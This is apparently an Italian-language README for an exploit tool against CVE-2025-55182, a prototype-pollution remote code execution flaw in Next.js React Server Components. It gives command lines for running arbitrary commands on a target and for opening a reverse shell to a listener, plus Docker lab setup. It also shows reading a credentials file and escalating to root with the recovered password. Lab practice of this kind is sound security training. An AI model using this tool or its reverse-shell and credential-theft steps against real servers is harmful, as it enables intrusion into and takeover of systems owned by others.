
Exploit per CVE-2025-55182 che colpisce i componenti server React di Next.js tramite prototype pollution, consentendo l'esecuzione remota di codice con esecuzione di comandi e payload di reverse shell. Include ambienti lab Docker per la pratica.
Sfrutta CVE-2025-55182 per esecuzione di codice remoto tramite prototype pollution.
Autore: Severian N.K.
Questo strumento sfrutta una vulnerabilità di prototype pollution nelle applicazioni Next.js che utilizzano React Server Components, portando all'esecuzione di codice remoto (RCE). Supporta sia l'esecuzione diretta di comandi che le reverse shell.
Questo progetto utilizza un ambiente virtuale Python per gestire le dipendenze. Prima di tutto, assicurati di avere Python 3 installato.
Configura l'ambiente virtuale:
python3 -m venv venv
Attiva l'ambiente e installa le dipendenze:
source venv/bin/activate
pip install -r requirements.txt
Assicurati che l'ambiente virtuale sia attivato (source venv/bin/activate) prima di eseguire l'exploit.
Per eseguire un singolo comando sul target:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
Esempio:
python3 exploit.py -u http://example.com -c "id"
Per ottenere una reverse shell dal target:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
Esempio:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
La directory lab/ contiene due ambienti Docker indipendenti:
lab/vulnerable): In esecuzione sulla porta 3000.lab/patched): In esecuzione sulla porta 3001.cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
Accesso: http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
Accesso: http://localhost:3001
Devi specificare il tuo IP del listener (--lhost) e la porta (--lport). Puoi trovare il tuo IP del bridge Docker con ip addr show docker0 (di solito 172.17.0.1).
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
Nota: Usiamo
-P nc-mkfifoperché il target sta eseguendo Alpine Linux, che richiede un tipo di payload specifico.
Il container vulnerabile espone un file segreto.
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
Puoi fare escalation da nextjs a root usando le credenziali compromesse.
su - manager (Password: SuperSecret2025!)sudo su (Password: SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
I contributi sono benvenuti! Se trovi un bug o hai un'idea per un miglioramento, apri una issue o invia una pull request.